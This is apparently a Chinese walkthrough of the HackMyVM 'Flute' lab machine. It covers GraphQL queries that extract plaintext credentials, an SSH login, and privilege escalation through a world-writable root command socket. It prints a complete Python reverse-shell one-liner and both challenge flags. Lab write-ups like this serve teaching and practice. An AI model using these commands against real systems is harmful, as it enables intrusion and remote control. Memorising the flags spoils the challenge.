HackMyVm靶场-Flute靶场渗透实战

靶机连接地址
https://hackmyvm.eu/machines/machine.php?vm=Flute
靶机下载完成之后,将其导入到VisualBox中如下所示。
我们就来扫描一下靶机的IP地址,通过扫描之后我们得到靶机的地址为192.168.1.24。
下一步操作就是看看靶机的端口开放情况。
看到靶机的端口开放了两个22端口、8888端口。访问一下四个八端口看看是什么内容。
好像没有见过这样的网站,经过查询之后,我们知道了这个是一个Apollo Studio Sandbox(Apollo 工作室沙箱)的界面,它是 Apollo GraphQL 平台的本地开发工具。
并且在下面还提供了一个语句。
curl --request POST   --header 'content-type: application/json'   --url 'http://192.168.1.24:8888/'   --data '{"query":"query { __typename }"}'
这个就是一个标准的 GraphQL HTTP POST 请求查询内容为
__typename 
的内容,用来获取到类型名称,既然是一个查询语句我们就来尝试一下能不能查询到用户名和密码。
curl -X POST http://192.168.1.24:8888  -H "Content-Type: application/json"   --data '{"query":"{ __type(name: "User") { name kind fields { name type { name kind } } } }"}'
内容如下
{"data":{"__type":{"name":"User","kind":"OBJECT","fields":[{"name":"username","type":{"name":"String","kind":"SCALAR"}},{"name":"password","type":{"name":"String","kind":"SCALAR"}}]}}}
通过这个结果我们可以知道返回了一个User对象,字段类型包含和用户名和密码。这证明了GraphQL API 中存储了包含用户名和密码字段的用户对象。
我们可以尝试进行如下的查询
curl -X POST http://192.168.1.24:8888  -H "Content-Type: application/json"   --data '{"query":"query { users { username password } }"}'
结果如下所示。
{"data":{"users":[{"username":"admin","password":"imtherealadmin"},{"username":"hamelin","password":"comewithmerats"}]}}
确实是找到了用户名和密码,并且用户名居然是admin,但是我们没有找到后台的入口。
这里我们介绍一个新的扫描工具feroxbuster 
feroxbuster -u http://192.168.1.24:8888 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x txt,php,html,zip,bak
发现什么也没有扫描到。
我们可以尝试一下SSH登录
居然可以登录成功,也就是说hamelin:comewithmerats这个用户名和密码可以直接登录到SSH服务了。
我们查看一下flag
找到了第一个flag
HMVuser9f4ndbaz4chc6j04b3va
接下来就是提权操作了。
先来看看在这个目录先应该是一个页面文件,找找其他路径
在/opt/ratd路径下找到了一个Python的文件我们来看看这个文件内容。
从文件结果来看,脚本执行会监听一个/tmp/ratd.sock的文件,并且权限是777也就是所有的用户都可以进行访问,并且接受了一个RUN开头的命令通过os.system()来执行并且通过root权限返回了一个OK的响应。这其实就是一个任意命令执行的漏洞。也就是通过当前用户或者任意用户可以执行root权限的命令。我们来创建一个脚本来测试一下。
执行结果如下所示。
可以看到确实可以创建成功一些文件,接下来我们就可以
建立起一个反射Shell。
"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.8",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'"
可以调整一下执行的脚本
这样就可以建立成功一个root的连接了
并且获取到了root的内容
HMVrootoepsamqu0liphzzsc7x9
到这里我们的两个flag就获取成功了。这里有个比较核心的地方就是能够理解ratd文件的处理原理。

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容